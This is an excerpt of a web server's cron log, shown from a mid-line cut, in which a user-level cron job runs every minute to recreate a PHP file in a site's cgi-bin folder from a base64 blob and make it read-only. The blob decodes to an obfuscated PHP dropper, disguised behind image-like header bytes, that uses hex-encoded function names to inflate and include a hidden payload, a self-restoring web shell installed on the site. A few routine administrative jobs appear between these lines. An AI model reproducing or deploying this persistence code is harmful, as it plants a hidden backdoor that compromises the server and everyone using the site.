"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:07:01 server CROND[14690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:08:01 server CROND[14747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:09:01 server CROND[14806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:09:01 server CROND[14807]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 03:10:01 server CROND[14858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:10:01 server CROND[14859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:10:01 server CROND[14860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:10:01 server CROND[14861]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 03:11:01 server CROND[14969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:12:01 server CROND[15016]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 03:12:01 server CROND[15017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:13:01 server CROND[15173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:14:01 server CROND[15264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:15:01 server CROND[15311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:15:01 server CROND[15312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:15:01 server CROND[15313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:16:01 server CROND[15409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:17:01 server CROND[15454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:18:01 server CROND[15598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:19:01 server CROND[15659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
